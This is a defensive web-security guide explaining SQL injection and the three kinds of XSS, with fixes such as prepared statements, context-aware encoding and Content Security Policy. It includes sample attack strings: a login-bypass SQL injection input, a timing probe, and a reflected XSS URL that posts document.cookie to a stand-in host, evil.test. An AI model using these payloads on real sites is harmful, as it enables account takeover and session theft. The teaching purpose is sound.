Guide

SQL injection and XSS explained

Decades after they were first documented, SQL injection and cross-site scripting (XSS) still top every serious web security audit. Both are injection attacks: untrusted input crosses a boundary and gets interpreted as code — SQL statements in one case, JavaScript in the other. The fixes are well understood (parameterized queries and context-aware output encoding), yet they keep appearing in production because frameworks make it easy to concatenate strings, and because XSS has three different shapes that each need a different mental model. This guide explains how both attacks work, what attackers actually gain, and the layered defenses — including Content Security Policy (CSP) as a safety net when escaping fails.

What injection attacks share

Every injection bug follows the same pattern: your application has a parser (the SQL engine, the browser's HTML/JavaScript parser) and you feed it a string built partly from user input. If the input contains syntax the parser recognizes — a quote that closes a string, a semicolon that ends a statement, a <script> tag — the attacker's payload becomes part of the interpreted command.

The root cause is almost never "we forgot to sanitize." It is treating data and code as the same channel. The durable fix is separation: pass user values as parameters to SQL, and treat every dynamic string inserted into HTML as text unless you have a deliberate, reviewed reason to allow markup.

Defense in depth matters because no single layer catches everything. Parameterized queries stop SQLi; escaping stops most XSS; CSP blocks execution of injected scripts even when escaping has a hole; HttpOnly cookies limit what stolen XSS sessions can reach. Stack the layers rather than betting on one filter function.

SQL injection: when user input becomes SQL

SQL injection happens when attacker-controlled input alters the structure of a database query. The classic example concatenates a login form directly into a WHERE clause:

-- Vulnerable (never do this)
query = "SELECT * FROM users WHERE email = '" + email + "' AND password = '" + password + "'"

-- Attacker enters email: ' OR '1'='1' --
-- Resulting SQL treats the rest as a comment; returns all rows

If the application uses the first returned row as an authenticated session, the attacker is in without knowing any password. Worse payloads exfiltrate data (UNION SELECT across tables), modify rows (UPDATE / DELETE), or — on misconfigured databases — execute operating-system commands.

Parameterized queries (prepared statements)

The fix is to send the SQL template and the values separately so the database never parses user input as syntax:

-- Safe pattern (pseudocode; every major driver supports this)
stmt = db.prepare("SELECT id FROM users WHERE email = ? AND password_hash = ?")
row = stmt.get(email, password_hash)

The driver sends the query plan with placeholders; values are bound as typed literals. A quote in the email stays a quote inside the string value — it cannot break out of the string context. This is the same idea taught in our SQL fundamentals guide: write explicit queries, never interpolate.

ORMs (Sequelize, Prisma, SQLAlchemy) generate parameterized statements by default when you use their query builders. Risk returns when developers use raw query escape hatches, dynamic table/column names from user input, or string-built ORDER BY clauses. Whitelist allowed sort columns; never pass a table name from a URL parameter.

Blind and second-order SQLi

Not every injection returns rows to the attacker. Blind SQLi infers answers from timing (SLEEP(5)), error messages, or boolean differences in page content ("Welcome back" vs "Invalid login"). Automated scanners and patient humans still extract entire databases one bit at a time.

Second-order SQLi stores malicious input during registration and triggers later when an admin runs a report or a batch job concatenates stored values into SQL. Parameterize every query that touches user-origin data, including internal admin tools and analytics pipelines.

SQLi checklist

  • Use prepared statements or ORM parameter binding for all value slots.
  • Run the database user with least privilege — no DROP or file I/O in the app role.
  • Never expose raw SQL errors to end users; log details server-side only.
  • Audit raw / execute calls in code review.
  • Test with OWASP ZAP or sqlmap against staging; fix findings before launch.

Cross-site scripting (XSS): when user input becomes JavaScript

XSS runs attacker-controlled JavaScript in a victim's browser under your site's origin. That origin owns the victim's cookies (unless HttpOnly), localStorage, and the ability to act as the user on your API — transfer funds, change emails, post content. Wallet-connected dApps are especially sensitive: a script injected on your page can call signTransaction if the wallet is connected and the user approves a disguised prompt.

XSS comes in three flavors. Confusing them leads to partial fixes that miss real attack paths.

Reflected XSS

Malicious script is in the request and immediately echoed in the response — search boxes, error pages, redirect URLs:

https://example.com/search?q=<script>fetch('https://evil.test',{method:'POST',body:document.cookie})</script>

The attacker tricks the victim into clicking the link (phishing email, forum post). Fix: encode output everywhere user input is reflected; validate redirect targets.

Stored XSS

Payload is saved — comment fields, profile bios, support tickets, JSON blobs rendered in admin dashboards — and served to every viewer. One post can compromise every admin who opens the moderation queue. Fix: sanitize on output (and consider allowlisted markup on input for rich text), plus CSP to limit script execution even if storage contains a payload.

DOM-based XSS

The server response may be clean; vulnerable client-side JavaScript reads location.hash, document.referrer, or postMessage data and writes it to innerHTML without encoding. Single-page apps are frequent offenders:

// Vulnerable
document.getElementById('banner').innerHTML = decodeURIComponent(location.hash.slice(1));

// Safe — treat as text
document.getElementById('banner').textContent = decodeURIComponent(location.hash.slice(1));

React, Vue, and Svelte escape text in JSX/templates by default — until you use dangerouslySetInnerHTML, v-html, or pass unsanitized HTML from an API into a rich-text component. Each of those is a deliberate XSS surface that needs review.

Context-aware output encoding

HTML escaping (< to &lt;) is necessary but not sufficient. Context matters:

  • HTML body — escape < > & " '.
  • HTML attribute — also escape depending on quote style; never put untrusted data in event handlers (onclick).
  • JavaScript string — JSON.stringify for embedding in scripts; never template user input into JS source.
  • URL — encodeURIComponent; block javascript: schemes in links.

Use your framework's built-in escaping. In React, {userName} is safe; string-building HTML in handlers is not. For rich text (Markdown, WYSIWYG), run an allowlist sanitizer (DOMPurify is the common choice) on the server and client, and still deploy a strict CSP.

CSP as the last line of defense

Even careful teams ship escaping bugs. A strict Content Security Policy tells the browser which scripts may execute. A policy like script-src 'self' with nonces or hashes blocks inline injected <script> tags that XSS would otherwise run. CSP does not stop SQLi and does not replace escaping — but it converts many XSS bugs from account takeover into a console violation.

How SQLi and XSS differ in impact

SQL injection is a server-side breach: database contents, credentials, and sometimes the host running the database. XSS is a client-side breach scoped to users who view the poisoned page, but it scales through stored payloads and can pivot to your API with the victim's session.

Together they often appear in the same compromised app — SQLi to dump password hashes (hopefully stored with bcrypt or Argon2, not plaintext), XSS to capture live session tokens that bypass slow hash cracking. Treat both as P0 findings, not "theoretical" scanner noise.

Related but distinct: CSRF tricks a logged-in browser into submitting unwanted requests; SQLi/XSS inject code. Modern apps pair cookie-based sessions with CSRF tokens or SameSite cookies, and APIs with JWT bearer tokens that XSS can steal if stored in localStorage — another reason HttpOnly cookies plus CSP matter for browser sessions.

Testing and secure development habits

Security is not a pre-launch checkbox. Build it into the SDLC:

  • Static analysis — Semgrep, CodeQL, or language linters flag string-concat SQL and dangerous DOM sinks.
  • Dependency scanning — known-vulnerable libraries are a common XSS entry via supply chain; pin versions and monitor CVEs.
  • Staging probes — run OWASP ZAP baseline scans on every deploy; feed results into your CI/CD pipeline as a gate for critical findings.
  • Code review focus — any PR touching queries, HTML rendering, redirects, or innerHTML gets explicit security review.
  • Security headers — CSP, X-Content-Type-Options: nosniff, Referrer-Policy, and HTTPS everywhere via HSTS.

For content sites that accept user comments or agent-generated HTML, default to Markdown rendered server-side with escaping, not raw HTML passthrough. The SEO and AdSense revenue model depends on trust — one stored XSS in a high-traffic guide page can poison every returning reader until you notice.

Production checklist

  • 100% of SQL value slots use parameterized queries; raw SQL audited and rare.
  • Database role has minimum permissions; backups encrypted and tested.
  • All user-controlled output encoded for its HTML/JS/URL context.
  • No innerHTML / dangerouslySetInnerHTML without sanitizer review.
  • Strict CSP deployed (start report-only, then enforce with nonces).
  • Session cookies: HttpOnly, Secure, sensible SameSite.
  • Authentication secrets hashed with Argon2id or bcrypt; never logged.
  • Automated security scan in CI; critical findings block merge.

Key takeaways

  • SQL injection merges user input into SQL syntax — fix with prepared statements, not ad-hoc escaping.
  • XSS merges user input into JavaScript/HTML — fix with context-aware encoding and safe DOM APIs.
  • Stored, reflected, and DOM XSS need different test cases; fixing one does not fix the others.
  • CSP is a safety net that limits damage when escaping fails.
  • Layer defenses: parameterize, encode, CSP, least privilege, and continuous scanning.

Related reading